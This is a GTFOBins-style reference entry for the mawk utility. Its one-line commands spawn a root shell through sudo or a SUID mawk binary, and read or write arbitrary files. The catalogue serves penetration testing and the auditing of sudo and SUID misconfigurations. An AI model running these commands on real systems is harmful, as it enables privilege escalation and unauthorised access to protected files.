GTFOBins.github.io/_gtfobins/mawk.md
2021-01-18 09:48:12 +02:00

471 B

functions
shell file-write file-read suid sudo limited-suid
code
mawk 'BEGIN {system("/bin/sh")}'
code
LFILE=file_to_write mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
code
LFILE=file_to_read mawk '//' "$LFILE"
code
LFILE=file_to_read ./mawk '//' "$LFILE"
code
sudo mawk 'BEGIN {system("/bin/sh")}'
code
./mawk 'BEGIN {system("/bin/sh")}'